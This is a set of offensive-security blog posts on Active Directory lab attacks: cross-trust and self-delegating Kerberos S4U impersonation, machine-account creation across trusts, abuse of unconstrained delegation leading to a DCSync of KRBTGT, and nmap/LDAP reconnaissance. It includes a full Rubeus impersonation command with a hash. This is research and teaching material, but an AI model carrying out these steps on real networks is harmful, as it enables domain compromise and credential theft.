Get-DomainObjectSD can be used to retrieve an object's SD. By default it will output a custom PS object with 2 members (ObjectSID and ObjectSDDL).

  1. ObjectSID is the objects security idenfitier (i.e S-1-5-21-2042794111-3163024120-2630140754-1113).
  2. ObjectSDDL is the security descriptor of the object in SDDL string format.

There is also an -OutFile parameter that can be used to output the SD's and SID's to a file:

The -OutFile argument appends when the file exists so different SD's can be added dynamically:

It is also possible to retrieve several SD's at the same time, by piping the identities into Get-DomainObjectSD, like with other PowerView functions:

A -Check parameter exists which allows the current SD to be compared to a supplied one. If it's the same just a warning will be thrown but if the SD is different, a warning will be thrown and the object will be returned:

The -Check parameter also takes a file containing multiple account SD's to be checked:

Escalating A User

So after adding the testsd user to the Domain Admins group, the AdminCount attribute was set as expected:

After a while and retreiving the SD using Get-DomainObjectSD function and diffing the 2 SD's shows that they are significantly different:

Removing testsd from the Domain Admins group, leaves the AdminCount set to 1, as shown below:

The AdminCount attribute can easily be cleared using Set-DomainObject's -Clear parameter:

Set-DomainObjectSD

This is where Set-DomainObjectSD comes in. Set-DomainObjectSD can only be used from an account that has owner privileges on the object, this is partly why the -Owner switch was added to Get-DomainUser.

There are 2 ways to set object SD's with Set-DomainObjectSD, firstly using an input file with the -InputFile parameter, this takes a csv file in the same format created by Get-DomainObjectSD:

This will apply all SD's contained within the provided file. The other way is to specify the object identity and the SDDL string manually with -SDDLString:

If multiple identities are specified here, the same SD will be applied to them, unlike if an input file is provided.

Some Other Useful Features

I have added 2 other useful functions, Find-HighValueAccounts and Get-DomainDCSync.

Find-HighValueAccounts

As mentioned above, the AdminCount attribute remains even after the user has been removed from the protected group. I wanted a way to find all current members of these groups. For this I created Find-HighValueAccounts, by default it returned the full user and computer objects (I've selected just the samaccountname so it can be displayed better):

It gets group membership recursively. You can specify which type of object to return with the -Users and -Computers switches. It also supports -SPN for returning accounts with service principal names, -Enabled and -Disabled, -AllowDelegation and -DisallowDelegation; and -PassNotExpire to search for accounts that are configured to not require a regular password reset.

Get-DomainDCSync

Another useful function I created is Get-DomainDCSync which gets the ACL from the domain head, and determines which result in the ability to perform a DCSync. This is primarily 2 different types of ACE's, GenericAll or both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. This function again returns the full object and by default returns user and computer objects:

This function also gets group membership recursively and also provides the ability to filter by object type, with -Users and -Computers but this time also includes the ability to filter by groups too with -Groups.

Get-DomainUser

I've also added a few features to some standard PowerView functions, including Get-DomainUser.

Along with the already mentioned -Owner switch, I added -Enabled, -Disabled -PassNotExpire switches which are pretty self-explainatory. A -Unconstrained switch which filters user accounts that are configured for unconstrained delegation. A -RBCD switch which returns user accounts that have a non empty msds-allowedtoactonbehalfofotheridentity attribute. A -PassLastSet parameter which will only return user accounts that have not changed their password for at least a number of days:

I've also added the -Locked and -Unlocked switches. These take into account the domain lockout duration policy into account. So if a user account has been locked 31 minutes ago but the lockout duration policy is set to 30, the account will be returned as unlocked.

Get-DomainComputer

For Get-DomainComputer I've added 2 switches, -RBCD and -ExcludeDCs. The -RBCD switch which returns computer accounts that have a non empty msds-allowedtoactonbehalfofotheridentity attribute. -ExcludeDCs allows you to filter out domain controllers from the results, useful for searching for computer accounts configured for unconstrained delegation:

Conclusion

I do plan on making more additions to PowerView but hopefully these will be useful on assessments.

Until then you can grab my fork of PowerView here.

Revisiting 'Delegate 2 Thyself'

So while still trying to ingest the great blog post by Elad Shamir Wagging the Dog, I discovered a section called Solving a Sensitive Problem which improves on the method I used in my Delegate 2 Thyself post. This post is about that improvement and an abuse case using it.

I highly recommend reading both of those posts before reading this if you haven't done already.

The Improvement

An S4U2Self service ticket can be retrieved by any machine account, without any prior configuration.

As shown below, this machine account for EIIS1 is not configured for any type of delegation:

Also, the external.admin user is marked as Account is sensitive and cannot be delegated:

Elad says that it is still possible to impersonate as that user on the requesting system (EIIS1), all that's required are the machine account credentials or TGT.

Automating the Process

In the Wagging the Dog post, Elad was using an ASN.1 editor to modify the S4U2Self ticket obtained using Rubeus. I decided to modify Rubeus so that this process was fully automated.

All this modification does is add's a /self flag to Rubeus's s4u command, when that's used and the /altservice flag is also used, the value to /altservice (in the format of the full SPN, eg. host/computer.domain.com) is subsituted into the sname field in the returned S4U2Self ticket.

Trying It Out

In the previous post I started with code execution to the IIS server EIIS1, which is the same position here:

We already know that this user can use the tgtdeleg trick to get a usable TGT:

Now it's important to understand the rest I perform from a separate non domain-joined system. I tend to see a lot of questions about performing attacks from systems that aren't domain-joined but due to the nature of most of my work, I almost always perform the attacks from my own, non domain-joined system, so I do in my blog posts too.

So next I perform the S4U2Self using the TGT we just recieved from a different system:

As you can see here, I've requested the S4U2Self ticket then rewrote the sname to http/eiis1.external.zeroday.lab as the user that cannot de delegated external.admin, the resulting ticket can be seen in the following klist output:

This ticket can then be used to execute commands over PowerShell remoting:

Conclusion

Obviously, the only way you can take advantage of this is if you can get access to the credentials or TGT of the target system.

But it can still be used for privilege escalation and, in the case of gaining access to a system configured for unconstrained delegation, remote code exectution (because you will be able to gather usable TGT's for remote systems).

The advantages of this over the full S4U2Proxy approach is that no configuration changes are required and you are able to impersonate protected users.

The advantages of this over a traditional silver ticket is that the resulting ticket contains a valid PAC.

A Strange Case of Trusts, Machine Accounts and DNS

While playing about with my Active directory (AD) lab infrastructure, I discovered I was able to create machine accounts across domain trusts. This led to the following bit of research.

There's been a lot of research into the impact of users creating machine accounts, including by Kevin Robertson's here and by Elad Shamir here but not much discussed about doing this across a domain trust.

The Setup

The lab I'm using for this blog post is setup as follows:

So here there are 3 forests and 4 domains (1 child domain). For the sake of simplicity this is a completely flat network, so all machines can access all other machines.

We have access to a low privileged user in the other.zeroday.lab domain.

This domain has a bidirectional external trust with the child domain child1.internal.zeroday.lab:

The child1.internal.zeroday.lab domain has an addition trust with it's parent domain internal.zeroday.lab:

Limitations Of The Current Position

It is not possible to authenticate against the internal.zeroday.lab domain using the current user:

And therefore, it is not possible to perform any real enumeration against that domain.

Also, it is not possible to create DNS records in the child1.internal.zeroday.lab domain:

Enter Machine Accounts

So while trying some things on this lab I attempted to create a machine account in child1.internal.zeroday.lab using the other.user user from other.zeroday.lab, and it worked:

The reason I tried this initially was because I wanted to create a DNS record in the trusted domain, which is now possible using this newly created machine account:

This shows that I now have more privileges on the trusted domain than I did otherwise.

But the implications were bigger, I can now use this machine account to query other trusted domains. So I can now enumerate trusts for the trusted domain internal.zeroday.lab:

And as a result, it's also possible to perform attacks such as kerberoasting against those trusted domains:

As well as triggering the printer bug discovered by Lee Christensen.

So we now clearly have much greater privileges across the enterprise than we did with only the user account we started out with.

Limitations Of Machine Accounts

While the machine accounts can create other machine account within the same domain (as I mentioned in my delegate to thyself post, a machine account is not able to create machine accounts across a trust:

This means we cannot use this machine account to pivot across the whole enterprise and gain access to the external.zeroday.lab domain without compromising another user account.

Conclusion

For me at least, this makes clear that the machine account quota configuration is more important than previously thought. By leaving this configuration at anything but 0, you allow for attackers on any domains that you have trust relationships with, to perform attacks against all other domains you have trust relationships with. Clearly it's not a huge impact if your domain only has 1 trust, then the main impact I can see is the ability for an attacker on the other domain to create DNS records within your domain.

More research is definitely needed in this area, I can't help but feel that this opens up new attacks that I'm not currently seeing.

Crossing Trusts 4 Delegation

The purpose of this post is to attempt to explain some research I did not long ago on performing S4U across a domain trust. There doesn't seem to be much research in this area and very little information about the process of requesting the necessary tickets.

I highly recommend reading Elad Shamir's Wagging the Dog post before reading this, as here I'll primarily focus on the differences between performing S4U within a single domain and performing it across a domain trust but I won't be going into a huge amount of depth on the basics of S4U and it's potential for attack, as Elad has already done that so well.

Motivation

I first thought of the ability to perform cross domain S4U when looking at the following Microsoft advisory. It states:

β€œTo re-enable delegation across trusts and return to the original unsafe configuration until constrained or resource-based delegation can be enabled, set the EnableTGTDelegation flag to Yes.”

This makes it clear that it is possible to perform cross domain constrained delegation. The problem was I couldn't find anywhere that gave any real detail as to how it is performed, and the tools used to take advantage of constrained delegation did not support it.

Luckily Will Schroeder published how to simulate real delegation traffic:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('[email protected]')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action
ls \\PRIMARY.TESTLAB.LOCAL\C$

# undo the impersonation context
$Context.Undo()

This allowed me to figure out how it works and implement it into Rubeus.

Recap

To perform standard constrained delegation, 3 requests and responses are required: 1. AS-REQ and AS-REP, which is just the standard Kerberos authentication. 2. S4U2Self TGS-REQ and TGS-REP, which is the first step in the S4U process. 3. S4U2Proxy TGS-REQ and TGS-REP, which is the actual impersonation to the target service.

I created a visual representation as the ones I've seen previously weren't the easiest to understand:

In this it's the ticket contained within the final TGS_REP that is used to access the target service as the impersonated user.

Some Theory

After hours of using Will's Powershell to generate S4U traffic and staring at packet dumps, this is how I understood cross domain S4U to work:

Clearly there's a lot more going on here, so let me try to explain.

  1. The first step is still the same, a standard Kerberos authentication with the local domain controller. (1 and 2)

  2. A service ticket is requested for the foreign domains krbtgt service from the local domain controller. (3 and 4)

    • The users real TGT is required for this request.
    • This is known as the inter-realm TGT or cross domain TGT. This resulting service ticket is used to request service tickets for services on the foreign domain from the foreign domain controller.

    Here's where things start to get a little complicated. And the S4U2Self starts.

  3. A service ticket for yourself as the target user you want to impersonate is requested from the foreign domain controller. (5 and 6)

    • This requires the cross domain TGT.
    • This is the first step in the cross domain S4U2Self process.
  4. A service ticket for yourself as the user you want to impersonate is now requested from the local domain controller. (7 and 8)

    • This request includes the users normal TGT as well as having the S4U2Self ticket, received from the foreign domain in step 3, attached as an additional ticket.
    • This is the final step in the cross domain S4U2Self process.

    And finally the S4U2Proxy requests. As with S4U2Self, it involves 2 requests, 1 to the local DC and 1 to the foreign DC.

  5. A service ticket for the target service (on the foreign domain) is requested from the local domain controller. (9 and 10)

    • This requires the users real TGT as well as the S4U2Self ticket, received from the local domain controller in step 4, attached as an additional ticket.
    • This is the first step in the cross domain S4U2Proxy process.
  6. A service ticket for the target service is requested from the foreign domain controller. (11 and 12)

    • This requires the cross domain TGT as well as the S4U2Proxy ticket, received from the local domain controller in step 5, as an additional ticket.
    • This is the service ticket used to access the target service and the final step in the cross domain S4U2Proxy process.

I implemented this full process into Rubeus with this PR, which means that the whole process can be carried out with a single command.

The implementation primarily involves the CrossDomainS4U(), CrossDomainKRBTGT(), CrossDomainS4U2Self() and CrossDomainS4U2Proxy() functions, along with the addition of 2 new command line switches, /targetdomain and /targetdc, and some other little modifications.

Basically when /targetdomain and /targetdc are passed on the commandline, Rubeus executes a cross domain S4U, otherwise a standard one is performed.

What's The Point?

Good question. This could be a useful attack path in some unusual situations. Let me try to explain one.

Consider the following infrastructure setup:

There are 2 domains, in a single forest. internal.zeroday.lab (the parent and root of the forest) and child1.internal.zeroday.lab (a child domain).

We've compromised a standard user, child.user, on child1.internal.zeroday.lab, this user can also authenticate against the SQL server ISQL1 in internal.zeroday.lab as a low privileged user:

As Elad mentions in the MSSQL section of his blog post, if the SQL server has the WebDAV client installed and running, xp_dirtree can be used to coerce an authentication to port 80.

What is important here is that the machine account quota for internal.zeroday.lab is 0:

This means that the standard method of creating a new machine account using the relayed credentials will not work:

The machine account quota for child1.internal.zeroday.lab is still the default 10 though:

So the user child.user can be used to create a machine account within the child1.internal.zeroday.lab domain:

As the machine account belongs to another domain, ntlmrelayx.py is not able to resolve the name to a SID:

For this reason I made a small modification which allows you to manually specify the SID, rather than a name. First we need the SID of the newly created machine account:

Now the --sid switch can be used to specify the SID of the machine account to delegate access to:

The configuration can be verified using Get-ADComputer:

Impersonation

So now everything is in place to perform the S4U and impersonate users to access ISQL1.

The NTLM hash of the newly created machine account is the ast thing that is required:

The following command can be used to perform the full attack and inject the service ticket for immediate use:

1
.\Rubeus.exe s4u /user:TestChildSPN$ /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:IC1DC1.child1.internal.zeroday.lab /impersonateuser:internal.admin /targetdomain:internal.zeroday.lab /targetdc:IDC1.internal.zeroday.lab /msdsspn:http/ISQL1.internal.zeroday.lab /ptt

This command does a number of things but simply put, it authenticates as TestChildSPN$ from child1.internal.zeroday.lab against IC1DC1.child1.internal.zeroday.lab and impersonates internal.admin from internal.zeroday.lab to access http/ISQL1.internal.zeroday.lab.

Now let's look at this in a bit more detail.

As described previously, the first step is to perform a standard Kerberos authentication and recieve the account's TGT that has been delegated access (TestChildSPN in this case):

This TGT is then used to request the cross domain TGT from IC1DC1.child1.internal.zeroday.lab (the local domain controller):

This is simply a service ticket to krbtgt/internal.zeroday.lab. This cross domain TGT is then used on the foreign domain in exactly the same manner the users real TGT is used on the local domain.

It is this ticket that is then used to request the S4U2Self service ticket for TestChildSPN$ for the user internal.admin from IDC1.internal.zeroday.lab (the foreign domain controller):

To complete the S4U2Self process, the S4U2Self service ticket is requested from IC1DC1.child1.internal.zeroday.lab, again for TestChildSPN$ for the user internal.admin, but this time the users real TGT is used and the S4U2Self service ticket retrieved from the foreign domain in the previous step is attached as an additional ticket within the TGS-REQ:

To begin the impersonation, a S4U2Proxy service ticket is requested for the target service (http/ISQL1.internal.zeroday.lab in this case) from IC1DC1.child1.internal.zeroday.lab. As this request is to the local domain controller the users real TGT is used and the local S4U2Self, received in the previous step, is atached as an additional ticket in the TGS-REQ:

Lastly, a S4U2Proxy service ticket is also requested for http/ISQL1.internal.zeroday.lab from IDC1.internal.zeroday.lab. As this request is to the foreign domain controller, the cross domain TGT is used, and the local S4U2Proxy service ticket received in the previous step is attached as an additional ticket in the TGS-REQ. Once the final ticket is received, Rubeus automatically imports the ticket so it can be used immediately:

Now that the final service ticket has been imported it's possible to get code execution on the target server:

Conclusion

While it was possible to perform this across trusts within a single forest, I didn't manage to get this to work across external trusts. It would probably be possible but would require a non-standard trust configuration.

With most configurations this wouldn't be required as you could either create a machine account within the target domain or delegate to the same machine account, as I've discussed in a previous post, but it's important to understand the limits of what is possible with these types of attacks.

The mitigations are exactly the same as Elad discusses in his blog post as the attack is exactly the same, the only difference is here I'm performing it across a domain trust.

Acknowledgements

A big thaks to Will Schroeder for all of his work on delegation attacks and Rubeus. Also Elad Shamir for his detailed work on resource-based constrained delegation attacks and contributions to Rubeus which helped me greatly when trying to implement this. Benjamin Delpy for all of his work on Kerberos tickets in mimikatz and kekeo.

I'm sure there are many more too, without these guys work, research in this area would be much further behind where it currently is!

Delegate 2 Thyself

This post is also avaliable in PDF format here.

So a situation arose on the BloodHound Slack channel recently which is very similar to the one I'm going to describe in this post and the user could have benefited from this so I've decided to speed up my writing of this particular post. It's going to involve using resource-based constrained delegation (RBCD) for local privilege escalation.

Firstly, there are much better resources for a full explaination of the RBCD theory and attack vectors, the best I've read Wagging the Dog by Elad Shamir but also this and this by Will Schroeder, and even the Microsoft Kerberos documentation if you are really looking at understanding how Kerberos works as a whole.

I learned everything I know about RBCD from the posts mentioned above, so I highly recommend reading and understanding those if you truly want to understand RBCD.

Here I'll simply be explaining an attack that, while very similar to some being spoken about, I've not really seen anywhere, while trying to clear up a few areas of confusion a lot of people seem to have on the topic.

Resource-Based Constrained Delegation 101

While those other posts are without doubt the place to go if you want to understand how this works, I'll try to give a little recap of the essentials here.

Delegation is used in Kerberos to allow services to delegate (impersonate) as other users to other services. This is so that, for example, if a user access a web server and that web server is using a database server in the background, the web server is able to impersonate the user to access the database server and only gain access to the data owned by that user.

Resource-Based Constrained Delegation is governed by an Access Control List (ACL) contained within the msDS-AllowedToActOnBehalfOfOtherIdentity Active Directory attribute of the target machine account. This means if you want AccountA to be able to delegate to AccountB, then you have to set an Access Control Entry (ACE) within the ACL in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on AccountB for AccountA.

Confusion 1 - Service Accounts

So as Elad mentions in his post that SYSTEM, NT AUTHORITY\NETWORK SERVICE and Microsoft Virtual Accounts all authenticate on the network as the machine account on domain-joined systems. This is really useful to know as most Windows services on modern versions of Windows will run using a Microsoft Virtual Account by default. The 2 most notable are IIS and MSSQL but I'm sure there are many more.

This can be verified very easily:

This authenticates against 192.168.71.198 where I have impacket's smbserver.py script listening:

In any situation where the machine is domain-joined and you can run code as NT AUTHORITY\NETWORK SERVICE or a Microsoft Virtual Account, you can use RBCD for local privilege escalation, provided that Active directory hasn't been hardered to mitigate the RBCD attacks completely (which is very rarely the case).

The Situation

So here I'm going to perform the attack from a domain-joined (external.zeroday.lab) IIS server (EIIS1) where code execution has already been achieved. As we already know, this account will authenticate on the domain as the machine account:

Firstly, load the the ADModule from Nikhil Mittal and Will Schroeder's PowerView to be used throughout this post:

The last thing to note is a domain admin (and the user we're going to impersonate) is external.admin:

Confusion 2 - Machines Creating Machines

Generally with these RBCD attacks you require a second account with an service principal name (SPN), the common method is to create a new machine account as by default the machine account quota is 10:

I've seen some confusion on whether a machine account can be used to create another machine account. It is possible to create a machine account using a machine account, this can be done using Kevin Robertson's Powermad:

Now querying the domain controller, the newly created machine account can be seen:

The Crazy Bit

For this post though, I want to show that even if the machine account quota is 0, and access to another account with an SPN hasn't been achieved, it's still possible to abuse RBCD for privilege escalation. So the machine account quota has been reset to 0:

Now it is not possible to create a new machine account:

So here's the main reason for this blog, I was thinking one day "I wonder if a machine can delegate access to itself". So effectively, I (the machine account) want to tell the domain controller that I (the machine account) wants the ability to delegate access to myself (the machine account). I'm not sure why this would ever be required in a normal setup, but it in fact is possible.

So using the shell that I've already imported the ADModule, I can set the msDS-AllowedToActOnBehalfOfOtherIdentity:

This is all that is required to configure RBCD. To demonstrate that it has infact worked, I can run Get-ADComputer from another terminal (because showing the extended attributes using the ADModule doesn't work):

So now I have the ability to impersonate any domain user on the machine, that isn't in the Protected Users group or marked as Sensitive and cannot be delegated.

Abusing This Configuration

There's one more piece of the puzzle before we can actually perform the attack. We need to be able to pass Rubeus credentials for the machine account. This can be in the form of a username and password, or a TGT ticket.

Luckily Benjamin Delpy figured out how to do this, it's now called the tgtdeleg trick and it's also been implemented in Rubeus.

So after downloading Rubeus onto the compromised system, we can easily use it to grab a usable TGT:

That TGT can be used with the s4u Rubeus command to request a service ticket to HTTP/EIIS1.external.zeroday.lab (myself) as the user external.admin and injected into the current context:

Now when we use Invoke-Command to EIIS1.external.zeroday.lab, it runs as external.admin:

Cleanup

When on an assessment, it's always important to clean up any changes made to systems to return them to the original settings as much as possible. The RBCD configuration can be reset to it's original state using the machine account again, if domain admin privileges hasn't been achieved.

If the configuration was originally empty, this can be done in the following way:

And to verify that this worked:

Conclusion

Delegation is hard and often configured wrong so it's important to understand the scope of what is possible using these Kerberos features.

Active Directory in it's default configuration is vulnerable to a number of different attacks and these settings rarely get changed by the system administrator so this is often a very fruitful avenue for an attacker.

To secure AD against this attack is no different to those described by Elad in his post, there's nothing really new here apart from the idea of delegating to the same account.

Abusing Users Configured with Unconstrained Delegation

An interesting situation came up on a recent assessment which triggered me into do a bit of research in the area as I'd seen nothing published on this particular issue.

I'd been really interested in the research done on the area of Kerberos Delegation. For this post, I'll be discussing Unconstrained Delegation, which has been covered a great deal in other places, notably here by Sean Metcalf and here by Dirk-jan Mollema, amongst others. If you really want to understand what is going on here, it might be best to read their work and understand it before continuing, although I'll try to give a recap here.

Unconstrained Delegation 101

In a nutshell, unconstrained delegation is when a user or computer has been granted the ability to impersonate users in an Active Directory domain with the only restriction of those contained within the Protected Users group or marked Sensitive and cannot be delegated.

What happens in short (read Sean's post if you want a detailed explaination, that's where this section is plagiarised from), after a user has already authenticated and wants to access a service that's been configured for unconstrained delegation:

  1. The user presents it's TGT to th DC when requesting a service ticket.

  2. The DC opens the TGT & validates PAC checksum – If the DC can open the ticket & the checksum check out, the TGT is valid. The data in the TGT is effectively copied to create the service ticket. The DC places a copy of the user’s TGT into the service ticket.

  3. The service ticket is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-REP).

  4. The user connects to the server hosting the service on the appropriate port & presents the service ticket (AP-REQ). The service opens the service ticket using its NTLM password hash.

The diagram below (also taken from Sean's post) shows the full process:

The Situation

While abusing unconstrained delegation has been covered in detail many times, all of these posts address machine accounts, I've not yet seen anything related to abusing users configured for unconstrained delegation.

The setup for the demo is simple. A domain internal.zeroday.lab, with a domain controller IDC1 and a user TestUCSPN which has been configured for unconstrained delegation, as can be seen below:

As shown, the TrustedForDelegation attribute is set to True and the ServicePrincipalName is set to cifs/notexist.internal.zeroday.lab. The cifs service is being used here purly for convinence in demonstrating the issue.

The DNS record for notexist.internal.zeroday.lab does not exist:

This is all that is required to exploit it because the password for the machine account is not needed, but in this example the machine account also doesn't exist:

This allows me to demonstrate that it is still exploitable, by creating the machine account, using Kevin Robertson's Powermad:

Abuse

While it doesn't matter if the machine account is created in Active Directory, the DNS record needs to not exist for this attack to work (or it needs to point to a machine under your control).

If the DNS record doesn't exist, like in this example, it's easy to create one using any valid domain user account. Here I'm using Dirk-jan Mollema's krbrelayx:

Here 192.168.71.198 is the IP address of a Linux system under my control.

Sometimes it takes a little while for the name to resolve so it's good to check before continuing:

Now everything is in place to abuse this configuration. First, we need the hash of the service account's password (TestUCSPN in this case). For this Benjamin Delpy's tool mimikatz does the job nicely:

To retrieve the target's TGT ticket, we'll again use Dirk-jan Mollema's krbrelayx:

And from the same repository the printerbug.py script to trigger the authentication from the domain controller (192.168.71.20) to the target SPN host (notexist.internal.zeroday.lab):

This coerces the domain controller to authentication to the CIFS service on host noexist.internal.zeroday.lab where the krbrelayx.py script is listening. The krbrelatx.py script saves the ticket in ccache format:

This saved the ticket in the current working directory with the name [email protected][email protected].

For some reason, converting it to kirbi format using krbrelayx.py was failing with the error below:

Of course, you could using the ccache format with impacket but I decided to use Will Schroeder's Rubeus so I needed the ticket in kirbi format.

To convert the ticket I used Zer1t0's ticket_converter and then base64 encoded it:

This is now usable by Rubeus.

First, to demonstrate the a DCSync is not possible from the current context, mimikatz was used:

Lastly, Rubeus is used to inject the ticket into the current context and then mimikatz is able to perform a DCSync of the KRBTGT account from the domain controller:

Conclusion

One of the interesting things I find about attacks like this is here I used the TGT for the domain controller IDC1 to perform a DCSync from the same domain controller IDC1. I'm not sure why this is possible as I can see no reason why a domain controller would need to synchronize with itself, but it works...

This post is, as far as I've seen, the first explaination of how to take advantage of unconstrained delegation without requiring to compromise any machines and while it's most likely an uncommon situation, I have seen this in the wild recently.

Kerberos delegation is a really interesting point of research and I'm sure there will be plenty more research coming out in the future so it's well worth getting up to date with the current research out there.

Active Directory Reconnaissence - Part 1

So it's been a long time since I've blogged anything but I've finally ported my blog from Octopress and am now in a better position to update it.

For a while now I've been focusing on learning as much as possible about perfomring infrastructure security assessments and particularly Active Directory (AD), so it makes sense to start creating some blog posts regarding that.

AD is a highly complex database used to protect the rest of the infrastructure by providing methods to restrict access to rsources and segregate resources from each other. However, partly due to it's complexity and partly due to backwards compatibility, it's very common for insecure configurations to be in place on corporate networks. Due to this and the fact that it is usually used to provide access to huge sections of the infrastructure, it's a high value target to attack.

In this post, I'll demonstrate some basic reconnaissence that might be possible from a completely unauthenticated position on the infrastructure.

Lab Configuration

The lab configuration is simple, as shown below:

The main thing here is that the IP address of the domain controller is 192.168.73.20.

Basic Scanning

The first step would be to perform a port scan of the target system. Nmap is a common choice for a port scan and for good reason, Nmap has tons of options and is capable of much more than simple port scanning.

A basic port scan using Nmap of the top 1000 TCP ports is shown:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
Lab:~# nmap -sT -Pn -n --open 192.168.73.20
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:35 GMT
Nmap scan report for 192.168.73.20
Host is up (0.00040s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds

As shoiwn above, a bunch of ports are open on the target domain controller, these can be further probed using the -sV option:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -sV -p53,88,135,139,389,445,464,593,636,3268,3269,3389
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:38 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0013s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-02-12 23:38:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: ICHILD1)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/12%Time=5E448C70%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: IC1DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.72 seconds

This is known as a service scan and attempts to probe the listening service and return a reliable software name and version.

Some Basic Enumeration

LDAP Enumeration

As we can see Lightweight Directory Access Protocol (LDAP) is listening on a number of ports. That is an indication that this system is a domain controller.

The LDAP specification states that the server must provide some information about the {RootDSE](https://ldapwiki.com/wiki/RootDSE){:target="_blank"} even without authentication. This allows us to gather some basic information about the domain:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -p389 --script ldap-rootdse
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:59 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0012s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       currentTime: 20200212235943.0Z
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       dsServiceName: CN=NTDS Settings,CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=ForestDnsZones,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=child1,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=DomainDnsZones,DC=child1,DC=internal,DC=zeroday,DC=lab
|       defaultNamingContext: DC=child1,DC=internal,DC=zeroday,DC=lab
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       configurationNamingContext: CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       rootDomainNamingContext: DC=internal,DC=zeroday,DC=lab
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
